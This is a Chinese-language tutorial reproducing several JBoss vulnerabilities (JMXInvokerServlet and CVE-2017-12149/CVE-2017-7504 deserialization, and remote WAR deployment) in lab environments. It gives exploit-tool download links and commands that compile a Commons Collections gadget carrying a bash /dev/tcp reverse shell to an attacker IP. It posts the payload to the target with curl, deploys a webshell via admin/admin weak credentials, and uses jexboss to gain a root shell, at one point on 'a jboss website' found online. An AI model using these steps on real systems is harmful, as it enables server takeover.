JBOSS中間件漏洞總匯復現
JBoss JMXInvokerServlet 反序列化漏洞
漏洞復現
直接使用docker搭建的漏洞環境。
環境搭建完成后,直接使用工具檢測即可:工具下載地址https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
環境啟動以后,直接訪問http://you-ip:8080。
使用下載的工具進行檢測 java -jar DeserializeExploit.jar
執行命令
文件管理
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
參考鏈接:https://www.cnblogs.com/Hi-blog/p/7904443.html
漏洞背景
該漏洞為 Java反序列化錯誤類型,存在於 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了漏洞。
漏洞復現
漏洞環境
靶機地址:192.168.10.144 服務端口:8080
測試機: 192.168.10.150
搭建好環境,訪問地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly
響應碼500,證明漏洞存在。
下載漏洞利用工具: http://scan.javasec.cn/java/JavaDeserH2HC.zip
先編譯:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
設置反彈的IP和端口
這樣就會將序列化對象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令發送到Jboss服務地址。
先在測試機運行nc命令,進入監聽模式:
再打開另一個控制台,運行如下curl命令:
反彈成功
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
前言
序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。Java中的ObjectOutputStream類的writeObject()方法可以實現序列化,ObjectInputStream類的readObject()方法用於反序列化。問題的根源在於類ObjectInputStream在反序列化時,沒有對生成的對象的類型做限制。
漏洞環境
此次環境嘗試用docker搭建。
靶機:
ip:192.168.10.144 操作系統:ubuntu18.0.4 LTS
攻擊機:
ip:192.168.10.150 操作系統:kali
一、環境搭建
1.docker的安裝參考
https://www.howtoing.com/ubuntu-docker
2.安裝完docker后,直接拉取vulhub的源碼。
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504
3.靶機啟動服務
執行如下命令啟動JBoss AS 4.0.5
docker-compose up -d
4.環境啟動后,地址為http://192.168.112.132:8080/
漏洞復現
一、exp准備:
用法:
二、exploit
1) 選擇ExampleCommonsCollections1WithHashMap
,編譯並生成序列化數據
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java #編譯
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.10.150/1234 0>&1" #ser全稱serialize,序列化惡意數據至文件。
第一行命令執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.class
第二行命令執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.ser
2)發射:
將該文件作為請求數據主體發送如下數據包:curl http://192.168.10.144:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser # --data-binary 意為以二進制的方式post數據
反彈成功
JBoss遠程部署漏洞
參考鏈接:https://www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html
漏洞產生
后端未對用戶可控參數做嚴格的過濾。
漏洞危害
導致任意命令執行,入侵者可以利用此漏洞直接獲取webshell,進而對整個服務器進行控制。
漏洞復現
直接使用docker搭建的漏洞環境。
點擊,訪問后台 使用弱口令登陸(admin--admin)
進入后台,如圖所示
找到如下圖所示的入口,點擊進入
找到這個入口
在輸入框中寫入war壓縮文件webshell的url地址,如上圖
點擊invoke執行界面獲得一個jsp的webshell,(沒有合適的jsp包)
使用kali復現
參考鏈接:https://blog.csdn.net/u011215939/article/details/79141624
所需工具:kallinux,jexboss,
獲取工具:打開kalilinux,在kali終端中輸入以下命令:
下載完成
運行 python jexboss.py
檢驗是否能夠執行,可以執行就是如下:
找一個jboos的網站,如圖所示
將這個IP:8080復制到kalilinux中使用jexboss工具進行檢測;
執行,工具會依次檢測一下項目,有漏洞就會顯示紅色的:VULNERABLE(易受攻擊的),工具就會根據找到容易受到攻擊的點,進行利用
然后選擇yes,開始創建連接;
返回信息顯示連接成功了;
現在獲取了shell,開始執行shell命令了;返回的信息顯示,這是一個linux操作系統;
執行幾條命令看看; root權限